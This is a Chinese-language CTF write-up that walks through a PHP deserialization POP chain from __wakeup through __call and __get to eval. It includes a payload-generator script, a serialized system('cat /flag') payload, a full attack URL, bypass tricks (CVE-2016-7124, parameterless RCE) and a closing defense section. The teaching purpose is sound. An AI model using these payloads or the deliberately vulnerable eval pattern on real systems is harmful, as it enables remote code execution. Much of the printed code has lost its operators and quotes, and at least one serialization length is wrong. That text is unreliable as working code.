PHP反序列化漏洞实战:从魔术方法到POP链构造与防御

PHP反序列化漏洞实战:从魔术方法到POP链构造与防御 1. 项目概述从一道CTF题看PHP反序列化漏洞的实战利用最近在复盘一些CTF比赛的题目其中一道来自0xGame的“Rubbish_Unser”题让我印象挺深。这道题本身难度不算顶级但它非常典型几乎把PHP反序列化漏洞利用链条中的几个关键“零件”都摆了出来很适合用来做一次完整的实战教学复盘。很多刚接触代码审计和漏洞挖掘的朋友一看到反序列化就头疼感觉链条复杂魔术方法绕来绕去。其实只要你静下心来像搭积木一样把POP链Property-Oriented Programming面向属性编程也就是我们常说的EXP链的每个环节理清楚就会发现其中的逻辑非常清晰。今天我就以这道题为例手把手带你走一遍完整的分析、构造和利用过程。无论你是正在学习PHP安全的在校学生还是想巩固反序列化知识的开发人员相信这篇复盘都能给你带来实实在在的收获。我们会从源码审计开始一步步找到入口点分析可利用的魔术方法然后像拼图一样构造出最终的利用链EXP链最后生成Payload完成攻击。整个过程我会尽量把“为什么这么做”讲清楚而不仅仅是给出一个最终答案。2. 题目环境搭建与初步代码审计2.1 题目源码分析与功能理解首先我们需要一个靶场环境。通常CTF题目会提供完整的源码压缩包。假设我们拿到了“Rubbish_Unser”的源码解压后是一个标准的PHP项目结构。入口点一般是index.php。我们快速浏览一下发现它可能包含了一个类似这样的关键文件unser.php?php error_reporting(0); highlight_file(__FILE__); class Start { public $name; public $arg; public function __construct($name, $arg) { $this-name $name; $this-arg $arg; } public function __wakeup() { echo Welcome to 0xGame 2023!br; if ($this-name Rubbish) { echo Lets play!br; $this-arg-show(); } } } class Middle { public $obj; public function __call($name, $args) { if ($name show) { $this-obj-getFlag(); } } } class End { public $cmd; public function __get($name) { if ($name getFlag) { eval($this-cmd); } } } if (isset($_GET[data])) { $data $_GET[data]; unserialize($data); } else { echo No data input.; } ?当然真实的题目可能会更复杂有更多的类和文件但核心结构往往类似。上面这段代码是我为了教学还原的一个简化版它包含了三个类Start、Middle、End。我们的目标很明确通过控制$_GET[‘data’]这个参数传入一个我们精心构造的序列化字符串最终让eval($this-cmd);这行代码执行从而运行我们指定的系统命令例如system(‘cat /flag’);。注意在实际CTF比赛中eval直接执行命令的情况可能被禁用或者需要绕过disable_functions。这里我们聚焦于反序列化链的构造命令执行是最终目标的一种简化体现。2.2 反序列化漏洞入口点定位漏洞的入口非常清晰就是第40行的unserialize($data);。PHP的unserialize()函数在反序列化用户可控的数据时会根据序列化字符串中定义的类名自动去实例化相应的对象并按照字符串中的内容设置对象的属性值。在这个过程中如果类中定义了某些特定的“魔术方法”Magic Method这些方法会在反序列化的特定阶段被自动调用。我们的任务就是控制反序列化过程中产生的对象以及它们的属性让这些魔术方法按照我们设计的顺序依次触发最终达到执行任意代码的目的。这条触发路径就是所谓的“POP链”或“EXP链”。3. 核心魔术方法与POP链原理深度解析3.1 关键魔术方法的作用与触发时机要构造链必须先理解链上的每个“齿轮”——也就是魔术方法。这道题涉及了三个关键的魔术方法__wakeup() 这是我们的链的起点。当一个对象被unserialize()函数反序列化时如果该对象的类中定义了__wakeup()方法那么在反序列化完成、对象属性全部赋值之后这个方法会立即被自动调用。它就像是对象“苏醒”后做的第一件事。在Start类中__wakeup()里有一个条件判断if ($this-name ‘Rubbish’)如果满足就会调用$this-arg-show();。这里给了我们两个控制点一是控制$name属性为’Rubbish’来进入分支二是控制$arg属性让它成为一个我们精心设计的对象从而触发后续链条。__call() 这是我们的链的跳板。当尝试调用一个对象中不存在或者不可访问的方法时__call($name, $args)方法会被触发。$name是试图调用的方法名$args是参数数组。在Middle类中我们定义了__call()。注意看Start::__wakeup()里的$this-arg-show();。如果我们让$this-arg成为一个Middle类的对象并且Middle类中没有名为show的公共方法那么对show()方法的调用就会触发Middle::__call(‘show’, [])。在__call()内部我们又看到了$this-obj-getFlag;。注意这里调用的是getFlag属性而不是方法因为没有括号。这为下一步埋下了伏笔。__get() 这是我们的链的终点和攻击执行点。当尝试读取一个对象中不存在或者不可访问的属性时__get($name)方法会被触发。$name是试图读取的属性名。在End类中我们定义了__get()。接上一步$this-obj-getFlag试图读取$obj对象的getFlag属性。如果我们让$this-obj成为一个End类的对象并且End类中没有名为getFlag的公共属性那么这次读取操作就会触发End::__get(‘getFlag’)。在这个方法内部直接执行了eval($this-cmd);。至此我们只要控制End对象的$cmd属性为我们想要的PHP代码如system(‘ls’);攻击就成功了。3.2 POP链的串联逻辑与构造思路理清了魔术方法整个链条就清晰了unserialize()-Start对象被还原 -__wakeup()自动触发 - 检查$name- 调用$arg-show()-$arg是Middle对象无show()方法 - 触发Middle::__call()- 内部尝试读取$obj-getFlag-$obj是End对象无getFlag属性 - 触发End::__get()- 内部执行eval($cmd)。我们的构造任务就是创建一个Start对象设置其$name’Rubbish’$arg属性为一个Middle对象同时设置这个Middle对象的$obj属性为一个End对象最后设置这个End对象的$cmd属性为我们要执行的命令字符串。4. 手把手构造EXP链与生成Payload4.1 分步构建序列化对象我们不需要手动拼接复杂的序列化字符串利用PHP本身来生成是最稳妥的方式。我们可以写一个本地的PHP脚本?php class Start { public $name; public $arg; } class Middle { public $obj; } class End { public $cmd; } // 1. 创建最终执行命令的End对象 $end new End(); $end-cmd system(cat /flag);; // 这里替换成你想要执行的命令 // 2. 创建Middle对象并将其obj属性指向End对象 $middle new Middle(); $middle-obj $end; // 3. 创建Start对象设置name为Rubbisharg属性指向Middle对象 $start new Start(); $start-name Rubbish; $start-arg $middle; // 4. 序列化Start对象它会递归序列化其属性所引用的所有对象 $payload serialize($start); echo $payload; echo \n\n; echo URL Encoded: . urlencode($payload); ?运行这个脚本你会得到类似如下的序列化字符串O:5:”Start”:2:{s:4:”name”;s:7:”Rubbish”;s:3:”arg”;O:6:”Middle”:1:{s:3:”obj”;O:3:”End”:1:{s:3:”cmd”;s:20:”system(‘cat /flag’);”;}}}这个字符串的结构解读如下O:5:”Start”:2:{...}表示这是一个对象Object类名长度为5”Start”有2个属性。s:4:”name”;s:7:”Rubbish”;表示第一个属性名是长度为4的字符串”name”其值是长度为7的字符串”Rubbish”。第二个属性s:3:”arg”;的值是另一个对象O:6:”Middle”...这就形成了对象的嵌套。最终最内层的End对象的cmd属性存储着我们的恶意代码。4.2 Payload的传递与触发拿到序列化字符串后我们需要将它传递给目标。题目是通过GET参数data接收的。由于序列化字符串包含很多特殊字符如引号、花括号直接放在URL里可能会被错误解析所以需要进行URL编码。上面脚本输出的urlencode结果就是已经处理好的。假设目标地址是http://target.com/unser.php那么最终的攻击URL就是http://target.com/unser.php?dataO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A7%3A%22Rubbish%22%3Bs%3A3%3A%22arg%22%3BO%3A6%3A%22Middle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22End%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A20%3A%22system%28%27cat%20%2Fflag%27%29%3B%22%3B%7D%7D%7D访问这个链接服务器端的unserialize()就会处理我们的Payload触发完整的EXP链执行cat /flag命令并将结果输出到页面上。5. 实战中的进阶技巧与深度避坑指南5.1 绕过__wakeup()的失效问题CVE-2016-7124这是一个非常经典的坑点。在PHP 5.6.25之前和7.0.10之前的版本中存在一个特性CVE-2016-7124当序列化字符串中表示对象属性个数的值O:5:”Start”:2中的2大于实际类中声明的属性个数时__wakeup()方法将不会被执行。为什么我们要绕过__wakeup()有时__wakeup()方法里会有一些“破坏性”的操作比如清空重要属性、重置状态这会打断我们的EXP链。在这道题里__wakeup()是我们链的起点不需要绕过。但你必须知道这个技巧因为很多题目会故意在__wakeup()里设置障碍。绕过方法手动修改序列化字符串。例如Start类有$name和$arg两个属性序列化后是:2:。我们可以把它改成:3:、:100:等大于2的数字。例如 原字符串O:5:”Start”:2:{s:4:”name”;...修改为O:5:”Start”:3:{s:4:”name”;...这样在触发CVE-2016-7124的PHP环境下__wakeup()就不会执行但对象属性依然会被还原。不过修改后字符串长度对不上会报错你需要确保花括号{}内的属性数量与修改后的数字看起来一致虽然实际类定义没那么多或者利用PHP解析的容错性。更稳妥的方法是使用工具或脚本生成。实操心得遇到链子断在__wakeup()的情况首先检查PHP版本信息可能通过报错、phpinfo等泄露如果版本可能受此漏洞影响尝试修改属性数量是第一步。5.2 处理私有属性与保护属性在真实审计或更复杂的题目中类的属性可能被定义为private私有或protected受保护。它们的序列化格式与公有属性public不同。私有属性private序列化后格式为%00类名%00属性名。例如在Start类中私有属性$name会被序列化为s:10:”\0Start\0name”;。这里的\0代表空字符ASCII 0。受保护属性protected序列化后格式为%00*%00属性名。例如受保护的$arg会被序列化为s:6:”\0*\0arg”;。为什么这很重要当你手动构造Payload或者从一处上下文序列化的字符串用到另一处时如果属性可见性不匹配反序列化会失败或者属性值无法正确赋值导致链子断裂。应对策略精确复制如果可能尽量在目标代码相同的环境下或模拟相同类定义生成Payload。手动修改如果必须手动修改要注意空字符\0的表示。在URL传输时\0需要编码为%00。所以一个私有属性的序列化部分在URL中会看起来像s:10:”%00Start%00name”;。使用工具像phpggc这样的工具链生成器或者一些CTF专用脚本能很好地处理这类问题。5.3 利用其他魔术方法拓宽攻击面除了__wakeup,__call,__get还有其他魔术方法常被用于POP链构造__destruct()对象被销毁时触发。这是最常用的链子起点或关键节点之一因为反序列化产生的对象在请求结束后总会被销毁__destruct()几乎必然执行。比__wakeup()更可靠。__toString()当一个对象被当作字符串处理时触发如echo $obj;。常用于从对象属性读取跳转到方法调用。__invoke()当一个对象被当作函数调用时触发如$obj()。这是一个非常强大的跳板。__isset()、__unset()在对属性使用isset()或unset()时触发。一道复杂的题目链子可能会横跨多个类串联起五六个甚至更多的魔术方法。审计的关键在于全局搜索所有类的定义画出类与类之间通过属性产生的关联图然后寻找一条从可控的入口点如__wakeup、__destruct到危险函数如eval,system,file_put_contents的路径。5.4 命令执行与无参数RCE的思考我们例子中最终用了eval执行系统命令。但在实际CTF或渗透测试中情况可能更复杂disable_functionsPHP可能禁用了system,shell_exec,exec等函数。这时需要寻找其他出路比如用phpinfo()查看可用函数尝试使用LD_PRELOAD劫持、ImageMagick漏洞、FFI扩展等复杂方式绕过。无参数RCE有时题目限制极其严格不允许函数带参数。这就需要利用PHP的一些“怪癖”来构造利用链。例如利用getallheaders()或get_defined_vars()从HTTP头或其他超全局变量中获取数据。利用session_id()从Cookie中获取数据。利用dirname(chdir(‘.’))、current(localeconv())等组合来读取目录列表。终极技巧是利用scandir()列出文件再用array_rand()、next()、current()等函数进行“盲选”结合file_get_contents()读取文件。这通常需要编写自动化脚本进行爆破。在“Rubbish_Unser”这道题中我们假设没有这些限制。但如果遇到你的EXP链构造思路不变只是最终$cmd的 payload 需要换成更高级的、能绕过限制的PHP代码。6. 从CTF到实战PHP反序列化漏洞的防御之道通过这道题我们完美复现了一次攻击。但作为开发者我们更应该思考如何避免自己的代码出现此类问题。6.1 安全的反序列化实践根本方法避免反序列化不可信数据这是最彻底的原则。如果业务逻辑非要用序列化存储数据可以考虑使用JSON (json_encode/json_decode) 它更安全、更通用。使用安全的白名单机制如果必须使用unserialize()可以配合allowed_classes参数PHP 7.0。这个参数可以限制反序列化时允许实例化的类从根本上杜绝攻击者引入危险类。// 只允许反序列化MySafeClass类 $data unserialize($user_input, [‘allowed_classes’ [‘MySafeClass’]]); // 或者完全不允许实例化任何类 $data unserialize($user_input, [‘allowed_classes’ false]);签名与验证对序列化后的数据进行签名如HMAC在反序列化前验证签名确保数据未被篡改。严格类型检查与属性验证在魔术方法尤其是__wakeup()和__destruct()中对反序列化得到的对象属性进行严格的类型和取值范围检查。6.2 代码审计中的关注点在审计PHP代码时看到unserialize()就要立刻提高警惕溯源数据这个参数是否用户完全可控是否经过了足够的过滤检查类项目自定义的类中是否包含了危险的魔术方法这些魔术方法内部是否调用了危险函数eval,system,call_user_func,file_put_contents等寻找链这些带有魔术方法的类其属性是否可以被控制为其他类的对象类与类之间能否形成一条调用链6.3 工具辅助与自动化挖掘对于大型项目手动审计效率低。可以借助一些工具辅助phpggc一个著名的PHP反序列化利用链生成工具集集成了ThinkPHP、Laravel、Symfony等主流框架的公开利用链。phpscan、rips等静态代码分析工具可以快速扫描代码库找出unserialize()调用点和潜在的敏感函数调用。自定义静态分析脚本用正则或简单的AST分析快速提取所有类及其魔术方法定义帮助理清代码结构。复盘这道“Rubbish_Unser”我们不仅完成了一次EXP链的构造练习更重要的是理解了PHP反序列化漏洞从发现、分析到利用、防御的完整逻辑。记住漏洞挖掘就像解谜耐心梳理代码流程理解每个魔术方法的触发条件大胆假设、小心验证你就能把看似杂乱的“垃圾”Rubbish代码变成打开系统大门的钥匙。